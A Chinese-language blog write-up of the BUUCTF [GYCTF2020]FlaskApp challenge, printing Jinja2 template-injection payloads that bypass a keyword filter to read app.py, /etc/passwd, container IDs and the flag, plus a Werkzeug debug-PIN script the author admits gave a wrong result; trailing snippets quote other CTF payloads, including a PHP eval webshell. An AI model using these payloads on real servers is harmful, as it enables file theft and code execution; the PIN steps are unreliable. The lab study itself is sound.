首页 > 其他分享 >BUUCTF [GYCTF2020]FlaskApp

BUUCTF [GYCTF2020]FlaskApp

时间:2023-09-08 11:33:28浏览次数:41  
标签:__ 39 BUUCTF GYCTF2020 kubepods &# slice 34 FlaskApp

因为题目名Flask,所以先观察功能点,寻找易发生ssti的功能。
考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的。

直接报错抛出debug信息,看来是开启了debug模式。

payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果。

方法1

首先想办法把完整的app.py读出来。
参考Templates Injections的payload
方便阅读把它换行了

{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}

修改成

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}

最后合并成一行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

得到app.py的源码,审一下发现waf:

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

过滤了flag和os等函数和关键词。然后利用字符串拼接读找目录:

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19

['bin', 'boot', 'dev', 'etc', 
'home', 'lib', 'lib64', 'media', 
'mnt', 'opt', 'proc', 'root', 
'run', 'sbin', 'srv', 'sys', 
'tmp', 'usr', 'var', '
this_is_the_flag.txt', '.dockerenv', 'app']

再读一下flag:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

flag{d6cc3d62-b7b7-4f67-9a7c-8f6c1d0a24d0}

方法2-利用PIN码进行RCE

通过PIN码生成机制可知,需要获取如下信息:

  • 服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb或者root,此处用的flaskweb
  • modname。一般不变就是flask.app
  • getattr(app, “name”, app.class.name)。python该值一般为Flask,该值一般不变
  • flask库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
  • 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获取(eth0为网卡名),本题为1e:eb:d7:36:97:1e,转换后为756572715513436
  • 机器的id:对于非docker机每一个机器都会有自已唯一的id
  • Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
    docker:/proc/self/cgroup

首先,服务器运行flask所登录的用户名:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
或
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

得到

root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 
flaskweb:x:1000:1000::/home/flaskweb:/bin/sh 

应该是flaskweb

其次,获得mac地址:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

得到1e:eb:d7:36:97:1e转十进制,得到33998276826910

接着,获取机器id:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

得到

12:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
10:cpuset:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
9:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope 
8:rdma:/ 
7:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
6:net_cls,net_prio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
5:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
4:freezer:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
3:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
2:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope
0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podf1e3a9ea_2933_4e68_88c2_4986d5158ba7.slice/docker-cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7.scope 

也就是cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7
计算pin代码如下:

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb',#服务器运行flask所登录的用户名
    'flask.app',#modname
    'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
    '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]

private_bits = [
    '756572715513436',#当前网络的mac地址的十进制数
    'cf77124b7964b6a76e5d2b6ff37408fe8cdac56eeef0aa4eaa0b6311377ba6e7'#机器的id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

得到298-674-256(不对,不知道咋回事)




参考链接:
PayloadsAllTheThings
https://blog.csdn.net/Alexhcf/article/details/108400293
https://blog.csdn.net/rfrder/article/details/110240245

标签:__,39,BUUCTF,GYCTF2020,kubepods,&#,slice,34,FlaskApp
From: https://www.cnblogs.com/darkcyan/p/17686016.html

相关文章

  • BUUCTF-Web
    CTF实战:从入门到提升1.3.5.[第一章][1.3.5案例解析][极客大挑战2019]Http 打开页面,没有发现什么有用的东西右键打开页面源代码,发现页面Secret.php 显示Itdoesn'tcomefrom'https://Sycsecret.buuoj.cn',使用postman,增加Referer头显示Please use "Syclo......
  • BUUCTF [De1CTF 2019]SSRF Me
    源码#!/usr/bin/envpython#encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonreload(sys)sys.setdefaultencoding('latin1')app=Flask(__name__......
  • BUUCTF [极客大挑战 2019]FinalSQL
    通过尝试发现注入点在search.php。传递?id=1^1报ERROR!!!;传递?id=1^0报NO!Notthis!Clickothers~~~布尔盲注importrequestsimporttimeurl="http://eab3a4cf-d57d-4236-a9f9-1383446ba4e1.node4.buuoj.cn:81/search.php?"result=''temp={"id":......
  • BUUCTF [SWPU2019]Web1
    进入网站,注册登录,进到申请发布广告,应该就是在这里实现注入。首先尝试:1'or1=1#标题含有敏感词汇应该是哪里被过滤了。经过尝试后是or被过滤了,--+,#等其他的注释符也被过滤了。经过测试后,结尾可以用单引号闭合。再次尝试:1'showdatabases()'1'showdatabases()'空格被......
  • BUUCTF [CISCN2019 华东南赛区]Web11
    切入点如图:测试模板注入最后或者payload:X-Forwarded-For:{ifreadfile('/flag')}{/if}原理是Smarty已经废弃{php}标签。在Smarty3.1,{php}仅在SmartyBC中可用。Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}。全部的PHP条件表......
  • BUUCTF [网鼎杯 2020 朱雀组]Nmap
    payload:127.0.0.1|'<?=@eval($_POST["hack"]);?>-oGhack.phtml'nmap`-oG`:将扫描结果输出到一个文本文件中,G代表生成一种称为"grepableoutput"(可用于grep命令的输出)的格式,这种格式是一种易于处理的文本格式。写入`hack.phtml`而不是`hack.php`的原因在于php可能被过......
  • BUUCTF [BUUCTF 2018]Online Tool
    首先访问网站得到需要分析的代码<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$_SERVER['REMOTE_ADDR']=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])){highlight_file(__FILE__);}else{$hos......
  • BUUCTF [安洵杯 2019]easy_web
    试试模板注入发现,不行,然后伪协议,不行,再爆破目录也不行。从?img=TXpVek5UTTFNbVUzTURabE5qYz0入手,可能是base64编码。base64解码:(不知道为什么别的WP上变成这样了,否则解不出来)TXpVek5UTTFNbVUzTURabE5q得到:MzUzNTM1MmU3MDZlNj再base64解码:MzUzNTM1MmU3MDZl得到:353535......
  • BUUCTF [GWCTF 2019]我有一个数据库
    文件包含漏洞,和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时......
  • BUUCTF [极客大挑战 2019]HardSQL
    判断过滤哪些关键词和字符报错注入报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复xpa......